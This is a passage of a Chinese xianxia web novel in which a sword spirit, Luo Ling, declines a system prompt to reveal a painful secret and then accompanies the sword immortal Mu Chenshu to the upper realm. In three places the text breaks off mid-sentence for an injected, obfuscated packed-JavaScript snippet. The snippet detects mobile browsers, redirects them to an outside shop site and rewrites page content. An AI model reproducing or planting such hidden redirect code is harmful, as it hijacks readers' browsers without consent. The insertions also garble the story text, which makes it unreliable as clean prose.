他只好换了说辞，“我知道你一直想让我驱走那只魇妖，我不出手，你要驱走魇妖，怕是只能去骷凤林寻找骷凤血了，可你不想让我得知此事，便用了元念离体这一法子。” “您猜得很准。”洛绫讪讪笑道。 她眼睁睁看着他从袖中取出那个散发着灼热赤光的白瓷小瓶，顿时语塞，眨巴了两下眼睛。 “这是，骷凤血？怎么会在您那儿？” “某人昨夜在终吾村喝多了酒，把我当成树干子爬时，从袖里掉出来的。” 他微微一笑。 洛绫红着脸接过那瓷瓶，“我好不容易拿回骷凤血，怎么您自己把魇妖除了？” “发现你元念消失的时候，我去骷凤林找过你，令我意外的是，那时你已经平安无事地离开了，是我小瞧你了。” 洛绫得意道：“是啊，您看，我也不是您想象中那么无用的剑灵嘛。” 洛绫说罢，心中咯噔了下，既然牧沉书自从她在骷凤林时就知道她的行踪，那么她后来去往宿龙涧的事情他也知晓了？ “剑仙大人到骷凤林找我，可……可后来我怎么没看到您？”洛绫鼓起勇气问他。 牧沉书眸光凝澹，“我是怕你出事，为了阻止你才去的骷凤林，后来……” “呃……” 洛绫感到自己手心沁出了一点汗水。 “后来，我又想到，你为何不愿将此事告知我，为何要瞒着我呢？” 他垂下双眸，“因为我太过自私了，你分明曾经告诉过我，想要我驱走体内的魇妖，可我没有听，因为我那时只考虑到了自己的感受，而对于你，我给的似乎只剩下束缚与缄默。” 洛绫怔然。 “你想要做什么，那应该是你的自由，你的修为已经提升了不少了，都能支撑你进入骷凤林了，我又何必多此一举？” 他话音中带着些许的复杂，“所以我离开了，什么也没做，只是回到剑山等你归来。” 洛绫听到他的回答，心湖泛起了点点涟漪，“谢谢。” 牧沉书却摇头道：“不是你谢我，而是我要谢你，魇妖并非我驱走，而是自行离去的。” “嗯？”洛绫讶异地望着他，“魇妖自己离开了？” “是啊，魇妖专食人梦魇，我的心魔消散了，它无魇可食，自然走了。” 洛绫发着懵，却见牧沉书朝她伸手道：“跟我回竹屋吧，你若想听的话，我全都可以告诉你。” “好。” 洛绫将手搭在了他温热的掌心，二人一路步行离开园子，往剑山上走去。 绿袍少年趁着漫步，也将童年往事尽数告知了她，事无巨细，如同他所写的那些言符一般。 宿龙涧的山山水水、池塘蜻蜓、严苛的师长虚漓、悉心照顾他的剑灵玄照、涧外的十里村、秘密山洞。 幼时的他其实很爱蹲在池塘边捏泥人，不知是否是因为这个缘故，长大后也尤为喜欢做面点，有趣的是，因为爹娘厨艺皆不佳的缘故，他好长一段时间都靠吃丹药度日…… “那你岂不是什么都吃不了？” “倒也不是，我吃过凡间卖的糖人，还有许多菜肴。”他提及于此，目光有些茫然，“不过，我已不大记得为何要去凡间买糖人，也不大记得那些菜是谁做的了。” 洛绫点头，系统这个记忆清除的功能的确相当完善。 步行去竹屋的路途有一段是非常狭窄的，窄得只能容得下一个人走，两侧便是深不见底的悬崖，峭壁上布满灌木与荆棘。 洛绫便走在前面，少年在她身后，探出一只手扶住她的肩臂。 “小绫儿，可你信吗？”牧沉书续道，“尽管我的记忆告诉我，我忘了某些事，某些人，我的直觉仍然提醒着我，有一个人的的确确来过。” 洛绫笑道：“您别多想了，既然忘了，那说明就不是多么重要的事情——” “不，那些都是很重要的事情，血海尸山的宿龙涧、玄照憎恨的眼神、还有将那块月形玉佩交给我的，我早已忘了的那个人……我知道她们都在怪我，恨我，我什么都没能做，我弱小得像只蝼蚁，任由我的故土被毁灭……” 少年的话音仿佛飘入水渊，渐渐沉落而下。 “后来我再也回不到宿龙涧了，我找不到那里，就像有谁在惩罚我一般，过去将我拒之门外了。” “我时常猜想，会否是玄照的残魂将宿龙涧隐藏了起来？她责怪我，责怪我为何什么都不做，为何把过去遗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321415|130143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忘的干干净净，每当夜晚，我想起她注视着我的眼睛，我便感到无法入眠，冰冷、陌生、憎恨，她为何那么望着我？” 洛绫一时不知如何回应，她自然知道，或许是那时鸦羽女子站在密室，面对死去的主人，双手的鲜血，绝望地看向了那个失去神智的小男孩。 就那么一眼，留下后来令男孩刻骨铭心的梦魇。 这一段路委实不好走，洛绫慢慢地在悬崖上方的小道行走着，要不还是御剑飞行吧……可这一段路，以前还从未走过，总是要走完才算有纪念意义吧…… 牧沉书的语气越发低落，“小绫儿，就像我先前说的那样，我的记忆被抹去了，可我的直觉告诉我，我一定是做了什么令玄照不可饶恕的事情，不止一件，很多很多……” 他深深地望着洛绫，那样深沉的目光，再继续沉没，就要坠入渊底。 洛绫立即握住他的手，摇头道：“我不知道，我只知道一点。” “什么？” “我只知道，她不怪你。” 洛绫停下脚步，转身看他，牧沉书低头不语，她抬手，一只手抚住他的脸颊，牧沉书浑身一颤，“小绫儿……” “剑仙大人这么聪明，也应当能想明白吧？” 洛绫用手指轻轻摩挲着少年的下颌，“玄照从小看着你长大，她帮你躲过师长严苛的质询，带你四处无忧无虑地玩耍，是你最好的玩伴、朋友、甚至知己，她为何会恨你？或许只是发生了太多事，多到她无力承受，只想一个人静静。” 牧沉书小心触碰着她放在他脸颊上的那只手，思忖片刻后，歪着头淡淡一笑：“但愿如此吧。” 洛绫将他往前一拉，拉出那段崎岖的窄路，二人终于逃离了险峻的悬崖峭壁，来到了更加宽阔的大路。 马上就能看到竹屋了，马上就能结束这段遥远的上山之行了。 “可您还没告诉我，您的梦魇是怎么消散的呢？”洛绫追问道，“原来魇妖还能自己走，我还是头回听说……” “其实它很早就有离开的想法了。”牧沉书无奈地笑笑，“因为自从某个人到来后，我的梦里就出现了新的人物，新的故事，从骷凤林回来后，我忽然发觉，其实我在她的心里很重要，重要到她愿意冒险闯入危险丛生的兽林——即便是为了这个人的心意，我也不能再沉湎于魇妖的侵扰了。” 洛绫唇角挑了上去，明知故问道：“那个人是谁？竟这么厉害，还能进到大名鼎鼎的月海剑仙的梦里去？莫不是什么五洲六界第一美人吧？” “是啊，很厉害，不过也有点太得意忘形了。” 牧沉书嗤的一笑。 洛绫朝竹屋走去，步伐也不由轻快了起来。 既然答应过玄照要向牧沉书保密，过去的，就这么安然地走过去吧。 【触发意外抉择。】 耳边忽然传来冰冷的男声，洛绫驻足，浑身颤了颤。 【抉择一：选择不告知牧沉书其父母之死的真相，则继续任务。】 洛绫心中一沉。 【抉择二：告知牧沉书其父母之死的真相，将直接速通本次主线任务。】 直接……速通？ 洛绫后背一震，回过身，看着身后绿袍少年狐疑的神情，“小绫儿，怎么了？” “我……” 系统的意思是，只要告诉他真相，他就会堕魔，她原本漫长而无望的任务就能在一瞬结束。 53. 五十三 真仙界 【告知牧沉书其父母之死的真相，将直接速通本次主线任务。】 清风吹过，竹叶簌簌，少女额前碎发静静扬起，在只有眨眼那么短暂的一两瞬时间内，洛绫的脑海中浮现了很多很多。 她在宿龙涧见过大雨之中男孩满身血迹，伏地啜泣的模样，撕心裂肺，绝望无助……那时她想着，无论如何，她都不想再看到他的脸上出现那样的神情了。 “别告诉他真相。” 玄照临行前的叮嘱尚在耳边萦绕，洛绫心知肚明，她定然是在这千年的调查中查到了什么不愿告知牧沉书的真相，故此才会说出这样的话。 她分明比谁都想找到真相，比谁都想揪出幕后真凶。 可为了牧沉书能做个逍遥安宁的仙人，她选择了放下。 洛绫于是想着，就为了玄照保守这个秘密吧。 可她细想便能发觉，手刃亲生父母这样可怖的真相对于牧沉书来说，恐怕比任何事情带来的冲击力都大，没有什么比这更适合让他堕魔了。 她选择了忽略这一事实，系统却没有，他现在要她做出抉择了。 洛绫闭上了眼，想着牧沉书的过去，想着宿龙涧的种种，可另一些事情也浮上了心头。 永远苍白的墙壁，苍白的病服，厚重的玻璃窗外，是阳光灿烂，鲜花盛放的另一个世界，她却只有打不完的点滴，试不完的药，做不完的检查…… 尽管如此，生命也宛若掌中沙粒，无可挽回地从指缝间流泻而逝了。 她想到了牧沉书，也想到了自己，如果可以，她也想完完整整地重活一次，为自己而活一次。 “小绫儿？” 牧沉书看着发怔的少女，走到了她的身畔，轻声询问她，“怎么了？” 对不起。 洛绫睁眼，回眸看向绿袍少年，旋即张开了口：“我……叽哩哇啦。” 她刚开口，便猛地捂住了嘴，瞪大了眼。 “什……什么？”牧沉书不明所以地望着白衣少女。 “不是，我是要告诉你——”洛绫再度尝试开口，“呱啦呱啦，乌拉乌拉。” “？” 牧沉书用看傻子一样的眼神看着她。 他眉头紧紧蹙起：“看来元念离体确实是有副作用的，我须得记录在册，往后你断不可再使用那乱元镯了。” 洛绫百口莫辩，就见牧沉书越过她，径自往竹屋取书簿。 “不是，剑仙大人，我真没毛病！” 洛绫朝他招手，却不知如何解释，她捏了捏喉咙，调度灵气巡视了一遍周身，竟发现身上落了一道咒禁。 她伸出舌尖，发现那咒禁就悬浮在她的舌头上，是一圈小小的，漆黑的烟雾，洛绫猛然反应过来：“玄照为了不让我说出真相，给我下了咒禁！” 她有些抓狂，“我根本就没法告诉牧沉书真相？” 可……系统方才让我做的抉择什么的，洛绫眯起眼，一个猜想很快浮上了心头，她咬牙切齿地问道：“系统，你不会是因为我之前对你态度不好，故意弄这个抉择整我的吧？” 系统没说话。 “你别不说话，你还能不知道玄照给我下了咒禁？” 【知道。】 系统一如既往平淡地回答她。 “那你真是在整我？” 【是的。】 洛绫无语，他为什么能这么淡定地回答她？ 【文明合作，互利共赢，请勿随意发泄私人情绪，还请您知晓这一点，因此——】 “什么？” 【您惊慌失措，大起大落的模样，将作为给予我的赔礼道歉。】 洛绫张大嘴，缓缓吐出两个字：“变态。” * 那日洛绫胡言乱语之事，牧沉书还真放在了心上，他不仅找了肃风门颇具名望的灵医给她浑身上下好生看了一遍，还命她待在竹屋安心修养。 不用去书山上课，只用待在竹屋悠然自得地吹风看花，那小丫头瞧着倒很是欢乐。 牧沉书本在竹屋悉心陪伴了她两日，想到师父先前的叮咛，还是打算去真仙界走一趟。 洛绫知晓此事，立时上来了兴致：“那我也能去了？” “去哪儿？” “真仙界啊。”洛绫两眼放光，“我不是得随时随地跟着您吗？不然灰飞烟灭了可怎么办？” 说起来，倒也的确是如此……牧沉书微妙地轻咳了一声。 “你要跟着我自然可以，不过上界不比人间，那里皆是修为深不可测的仙人，你藏于剑中界，莫要四处乱晃。” “好！” 洛绫兴冲冲地一口答应，她还从来没去过上界呢。 要去上界的当日，洛绫还换了身新衣裳，梳妆打扮了一番，惹得牧沉书有些奇怪，“小绫儿……你这是做什么？” “虽然我没去过上界，不过那里遍地是能移山覆海的仙君仙使，我得打扮得精气神一点，万一有哪个大能看上我，赐我两本飞升秘籍什么的呢？” 牧沉书笑了笑，“飞升秘籍你若想要，我这里也多的是——” “是吗？” “是啊，不过好炊须得巧妇烧，宝剑须由侠客使，做人呢，贵在有自知之明。” 他将青锋剑拿起，纤指敲了敲墨青色的剑鞘，道：“进来吧。” 洛绫翘着眉毛，嘀咕道：“哼，您就拐弯抹角地嘲笑我吧，弄不好哪天我真发达了……” 发达成了天品剑灵，一定马上跟你离契。 牧沉书不容她多埋怨，手指一勾，她便身形化光，被收入了剑中界。 下一刻少年御黑龙剑飞入茫茫九重天，直往上界而去。 洛绫如今呆的剑中界还是自身灵气孕育的剑中界，玄照送她的那个剑中界，她则暂且收纳了起来，那片空间太过庞大加上灵气旺盛，此时修为刚升入凡品的她并不好掌控。 她趴在剑中界，偷偷探出半个脑袋，往外头瞧，瞧那云雾缥缈的天空，起先她什么也看不清，只能被狂风携雾迷花了眼。 不知过了多久，她朦胧间，透过剑中界裂开的一道小口子，看到一轮金乌悬于云堆雾积的巍峨高山之上。 金乌之下，是依云山而造的，金碧辉煌、错落有致的华宫朱楼，万佑宝阵凝成的九道光环则箍于那座庞大的云海之山顶端，令人心生敬畏，莫敢靠近。 “剑仙大人，那不会就是传说中的仙庭吧？” 洛绫低声问道。 “没错，那里是仙庭，居住着睥睨上界的九大仙使，云山上的九道万佑宝阵，每一道皆由一位仙使亲手铸造，世上无人能摧毁。” 牧沉书为初来乍到的洛绫讲解着，洛绫也听得十分认真，她听着听着，不由反问道：“剑仙大人您也摧毁不了？” “我……你问我做什么？”牧沉书迟疑道。 “因为在我眼里您便是世上最厉害的人了。” “你倒是一如既往的油嘴滑舌。”牧沉书无奈笑了笑，“我若要摧毁那些万佑宝阵，须得发挥朴古剑意十之八九的威力了。” 洛绫一惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13338007|130143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“所以您还真能摧毁？不是在装腔作调？” “我们不去仙庭，不必聊这些，先去找梦黎居士吧。” 他没回答洛绫的问题，驱使脚下飞剑继续提速，掠过那金光熠熠的仙庭，径自去往了别处。 洛绫知道梦黎居士，他是牧沉书在凡间的旧友之一，只是后来梦黎居士飞升成仙，二人的往来便不多了。 与牧沉书不同，大多数人飞升成仙，是不会选择留在下界的。 上界的灵气更充沛，当了仙人，便总要考虑提升仙衔，再往上走一走，争当可移山覆海的上位之仙，甚至是取代那些执掌权柄的仙使也大有人遐想。 牧沉书的仙衔是“剑仙”，“月海”二字乃是星枢为之赐下的封号。 大部分仙人不说没有封号，连仙衔都只是最低位的“仙君”，只比灵气拟化诞生的婢娥兵卒等级高，他能有一个完整的封号与仙衔，乃是不可多得的荣誉。 据洛绫所知，真仙界的剑仙目前虽然不止牧沉书一个，但能掌控最为悠久强大的朴古剑意的，却只有牧沉书一人。 所以，他说能破了九大仙使铸造的万佑宝阵这件事，或许还真不是在吹牛。 飞剑抵达了一处府邸，府邸门额上写着“梦黎”二字。 牧沉书提着青锋剑走入了府邸，一位仙娥便飘然上前，模样瞧着既欢欣又惊讶，“月海剑仙？您怎么来了？奴婢这就去唤仙君。” “我只是闲来无事走走，仙君若有事我便不叨扰了。” “哪里的话，仙君在府中可常念叨您呢，您暂坐阁中歇息，奴婢这便去唤仙君。” 那名仙娥温柔一笑，将牧沉书引入一处纱幔飘飞的木阁，水袖轻抛，而后便入了正堂叫人。 洛绫在剑中界呆得有些闷气，找准时机就溜了出来。 “怎么出来了？” “老在那昏暗的地方呆着多没趣，您放心，我什么都不做，就是出来透透气。” 洛绫好奇地看着四周，说起来，虽然那云山之上的仙庭瞧着如此庄重神秘，上界的其他地方倒与人间并无什么区别。 就像这阁子，肃风门都有好几处比这漂亮的阁子呢。 “此处是梦黎居士的府邸，他为人和善，你出来歇歇气倒也无碍。” 牧沉书话音刚落，便听到屋中传来苍老的声音：“小沉书？你竟来上界了？” 洛绫扭过头，就看到一个须发花白的老者从屋中急急忙忙地走了出来，那便是梦黎居士？ 洛绫愣了愣。 或许是先前她见到的，与牧沉书有关联之人，无论交恶交好，皆是外表上看着翩翩公子的那款，导致洛绫下意识以为这位梦黎居士，也是某位跟牧沉书年纪差不多大的青年，没料到梦黎居士已是个白发苍苍的老头子了。 老者身着长长的鹤袍，来到牧沉书身前，使唤仙娥倒茶，洛绫细细看去，老者慈眉善目，一派祥和，的确颇具仙风道骨。 一盅茶上来，梦黎居士给牧沉书倒了茶，又拿起另一只杯子，看向洛绫：“这位小姑娘是？” “她是我的剑灵。” “你还收了剑灵？”梦黎居士意外地捋了捋胡须，“小沉书，你先前不是说不爱用有剑灵之剑吗？” 洛绫笑着掩嘴，想看看牧沉书要如何为自己不断的打脸解释。 “居士言笑了，人总有马失前蹄的时候。” 洛绫也点头：“对啊，马失前蹄……” 听着怎么有点不对劲，她悻悻地瞪视牧沉书，让我做剑灵有那么痛苦吗？ 54. 五十四 蝇狗 牧沉书与梦黎居士想是许久不见了，二人寒暄了好一阵子。 洛绫望着杯中仙娥上的茶水，数着茶杯边沿上黏了几片茶叶子，心中颇感无聊。 有时她不得不佩服牧沉书，一个拥有好几副面孔的，情绪稳定的仙人。 在她面前的时候，他其实还是挺妙语连珠，天马行空的，即便偶尔会让她觉得有些绵里藏针，腹黑兮兮的。 可面对梦黎居士这样的长者，他又能立刻换上另一副品学兼优，乖巧懂事的皮囊，委实厉害。 洛绫听了他那些一环连着一环的套话，都要睡晕过去了。 她在旁兀自打着瞌睡，好容易二人的寒暄才结束。 “小沉书，这回来上界，怕不是你的主意吧？” 洛绫脑门上刚爬上来的瞌睡虫，在听到这话后，立时不翼而飞了，她竖起了耳朵，嗅到一丝八卦的气息。 牧沉书浅浅笑道：“不出居士所料，此番重回上界，乃是师父的意思。” “原是梅谷剑宗啊，剑宗他自然是为了你好，你这孩子素来不喜卷入这些权力之争。” 老者拿起茶壶，再次为少年满上了茶水，牧沉书连忙道：“劳烦您了，晚辈自己来便好。” “不碍事，你我之间何须那些繁文缛节？” 梦黎居士笑着放下茶壶，望着少年如月的面庞，目光愈加悠远。 “小沉书，记得你少时，我刚认识你那会儿，你也才寿元百来岁，别的世家弟子都争先恐后地给师尊前辈送礼献媚，不放过任何历练的机会，你却无动于衷，没事便到凡间的城池里清扫那些流窜的凶兽、妖物，不图任何回报，那般恣意淡泊，侠肝义胆，真令老夫我眼前一亮！” “居士过誉。”牧沉书谦逊回道。 洛绫默默在旁侧听着老者说起前尘往事，眼前仿佛能浮现出绿袍少年仗剑行天涯的图景，想着想着，唇角不由微微上扬。 “我那时问你，为何从不与那些同门弟子一般行事？你还记得你怎么回答我的吗？” 牧沉书略做回忆，“还真有些不大记得了。” 梦黎居士拂袖道：“你那时不以为意地说：彼者阿谀奉承，因自知羸弱，修炼无望，而我强大，何须与蝇狗为伍？” 洛绫差点没把口中茶水喷出来，简直狂得不像是牧沉书能说出的话。 绿袍少年脸颊微微红了几分，“不过是曾经年少轻狂。” “不，你说的是对的，小沉书。”梦黎居士点头，“那些俗世弟子哪里有资格与你相提并论？左右不过是些蝇狗……只是现今的世道，何处不是绿蝇嗡嗡，野狗吠吠？” 牧沉书目光垂落，“居士的意思是？” “无论多么强大的人，都难免被卷入世俗的泥滩中，即便是神仙也不例外。”老者长叹不止。 他话音刚落下，府邸外便翩然落下一只青鹤。 “来了。” 梦黎居士看向那只落下的纤细青鹤。 青鹤倏然化为一个赤着上身的精壮少年，少年浑身绘满彩纹，双臂间环绕翠绿披帛，他俯身道：“自上回一别，许久不见了，月海剑仙。” “何事？”牧沉书神色淡然，轻啜杯中茶水。 “珩光仙使有请，劳驾您随我走一趟。” 仙使？洛绫惊了惊。 梦黎居士道：“这茶，也喝得差不多了。” 牧沉书起身，洛绫见状也要跟着他离开，谁知他却压下了她的双肩，“你留在这里，我很快便回来。” “可……” 洛绫还欲说些什么，看到牧沉书幽沉的目光，还是点了头。 “我等你。” 牧沉书深深望着她，又看了眼她身后沉默的老者，旋即转身跟随青鹤少年离去。 洛绫伫立原地，望着牧沉书的身影消失在漫漫云海间，迟迟没有回过神。 直到身后响起老者的提醒：“小丫头，别看了，坐下陪我继续喝茶吧。” “茶？您不是说不喝了吗？” “与小沉书的茶喝完了，与你的还没喝完呢。” 他笑眯眯地回道，洛绫有些莫名，却还是坐下了身继续陪他喝茶。 * 一丛纤细的毛竹旁，有个不大不小的观赏池子，池水澄澈，能看见水底斑斓的石子与游曳的墨彩鱼儿。 洛绫坐在岸边的石凳上，手中捻着一把鱼食，往水中缓慢地洒着，不一会儿，她的脚下便聚集了一大片鱼儿。 那些鱼儿花纹繁丽，周身焕发着淡淡的金光，模样十分奇特。 “鱼喂得如何？” “嗯？”洛绫立即回头，看到梦黎居士端着一碟白渍渍的茶糕放在了她身畔的石桌上，“听小沉书说你爱吃点心，故此让汝玉准备了些，尝尝吧。” 洛绫拿起盘中茶糕，往嘴里送了一口，龙井茶香萦绕舌尖，她点头道：“多谢居士，糕点十分美味。” “喜欢便好。” “不过……剑仙大人还跟您说过我喜欢吃点心这事儿吗？” “我们偶尔会互通书信，他写信告知过我你的存在，上回我还给他寄了一些真仙界的仙鱼鱼苗，不知他在凡间培育得如何了？” 洛绫尴尬地挠了挠头，好像那些鱼都被她吃光光了…… “鱼挺好的。”洛绫心虚地嘀咕着，“挺好吃的……” 不过后半句她说得极为小声，梦黎居士显然是没耳力听见了。 “话说，小丫头，我瞧你在这儿心不在焉地喂鱼，怕是在想小沉书的事？” 洛绫抬眸，看着老者温和的目光，缓缓点头道：“我是在想剑仙大人的事，我不明白剑宗为何突然让他来上界，还有那个珩光仙使，又为何要突然找他……” “这世上哪有那么多巧合与突然？”梦黎居士捋了捋胡须，“不过都是有意而为之。” “啊？” 洛绫虽素来脱线，可遇上正事，脑子还是转得很灵光。 她很快悟出了梦黎居士话中深意，“您的意思是，那位剑宗令剑仙大人到上界来，正是为了让他被仙使叫去？” “没错。” 居士颔首，“小丫头，你与小沉书也才认识了不到一年吧?” 洛绫愣愣地点头。 “你还不够了解他。”梦黎居士斩钉截铁地道。 “我不够了解他？” 洛绫欲要分辩，她与他朝夕相伴，哪里不了解他了？ 她知道他的脾性、口味、爱好，连他睡觉喜欢睡朝门那头还是不朝门那头都清楚，甚至还回到过去认识了幼时的他，哪里不算了解了？ 可最终，她只是心虚地挠了挠头，若她真的了解他的话，也不至于对当前发生的事情一头雾水…… “小沉书跟他在肃风门的那些师兄师弟不同，或者说，跟大部分的修士都不同。” 洛绫不解道：“不同在哪儿？” “望尘莫及。”梦黎居士笑了笑，“只这四个字，大部分修士，包括仙人，都对他望尘莫及。” 洛绫顿了下，又疑惑道：“可仙庭不是还有其他剑仙，也有其他职衔更高的仙人吗？” 她知道牧沉书很厉害，在书中也有所提及，可她从未直观地感受过这一点。 “可谁又有他的年岁呢？” “什么？” “他的寿元，只有一千岁出头这么点。”梦黎居士掰着手指数道，“而我，光是飞升便用了上万年，久到我已经不大记得自己真实的寿元了，可我这样的仙人，在仙庭中比比皆是，连那九大仙使，也没一个能在这般年轻的岁数飞升成仙——” 老者目光炯炯，“不仅如此，他手中还有令仙使们忌惮的朴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404227|130143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 古剑意，当初飞升册封仙位时，星枢将朴古剑意交与了他，那时没一个仙人认为他能掌控那样可怖的上古剑意，可他做到了，从今以后，可怖的便不是剑意，而变成了他自己。” 听到老者的一番话语，洛绫心中慢慢生出了不安之感。 “如今早有传言，太微星枢召集九大仙使，要为这无主的真仙界择选出一位帝尊，一旦帝尊问世，不仅将统御整个真仙界，还会成为五洲六界的至高神明，你应当明白这其中的意味吧？” 洛绫缓缓点头，“那些仙使都想成为统御万物的帝尊，故此，都想拉拢牧沉书？” “正是如此。”梦黎居士幽幽一叹，“那孩子向来聪明，为了躲避仙使之间的争斗，很少往上界来，可……他不争，他师父要争，肃风门也要争，哪个名门正派，不愿要这样的从龙之功呢？” 洛绫抿着唇道：“既有从龙之功，也难免会惹上逆龙之祸。” “梅谷剑宗自然是有考量的，即便是老夫我，也愿意相信，能得到月海剑仙拥护之人，才有资格成为这真仙界的帝尊。” “这对他不公平。”洛绫冷不丁地说道，老者一怔，却见少女双目沉沉，“他不该为了师尊，也不该为了肃风门，卷入这些他所厌弃的尔虞我诈当中。” 听到她的回答，梦黎居士眼中浮上淡淡的笑意，“这也正是我想说的。” “什么？”洛绫一怔。 “我为何会与那孩子成为好友，是因为我见过他的无畏无惧，真朴善良，我希望他秉持这样的信念，能从这裹缠的泥滩中挣扎而出……” “可，您为何不亲口告诉他？” 洛绫心中奇怪。 梦黎居士叹道：“我这样没名没姓的小神仙，还与他多年未见，跟他说这些话反倒是僭越了，更何况——” “什么？” “更何况如今你这小丫头才是他最在意的人，你的话比我有分量得多，不是吗？” 梦黎居士笑吟吟地望向白衣少女，洛绫眨巴眨巴眼，指了指自己，“我？您别开玩笑了。” 梦黎居士拂袖一挥，“罢了，不说了，你把茶糕吃完吧，这鱼儿你若喜欢也可带回凡间去。” 洛绫赶忙道谢，却见梦黎居士起身，笑道：“不过这回你可别又让小沉书给你烧了吃，这鱼稀罕，至少别吃这么快。” 洛绫脸颊腾地红成了熟虾。 原来他早就知道了！ * 洛绫在梦黎府邸呆了约一个时辰，终于等到牧沉书回来，看他神色如常，洛绫却憋了满肚子的话，准备回去时说。 二人与梦黎居士告别后，御剑离开上界，洛绫一直没说话，心中思绪万千，看着牧沉书如月的侧脸，却不知该如何开口。 “怎么了？一副欲言又止的样子？” 她没开口，牧沉书倒坦然发问了。 正好，洛绫深吸一口气，道：“剑仙大人，我不允许你出卖自己的灵魂！” 牧沉书眯起眼，“什么？” “你若是不愿意卷入那些纷争，便不能因为你师父和肃风门的缘故，就轻易妥协，你这样容易惹祸上身，也违背了自己遗世独立的意愿。” 牧沉书思忖片刻，问道：“是梦黎居士与你说的这些吧？” “是我自己想跟你说的。”洛绫定定望着他。 牧沉书莞尔道：“可你有没有想过，我若是不与那些仙使合作，在上界会寸步难行，也会令师父和掌门失望，得罪的将不止一个人。” 洛绫想了想，忽然从后抱住他如束的腰肢，道：“没关系。” “怎么没关系？” “我还在。” 她用并不大的声量，说出了沉甸甸的一句话。 少年轻颤，任由云雾拂面，在此之前翻涌的心绪，终于在这一刻渐渐安宁。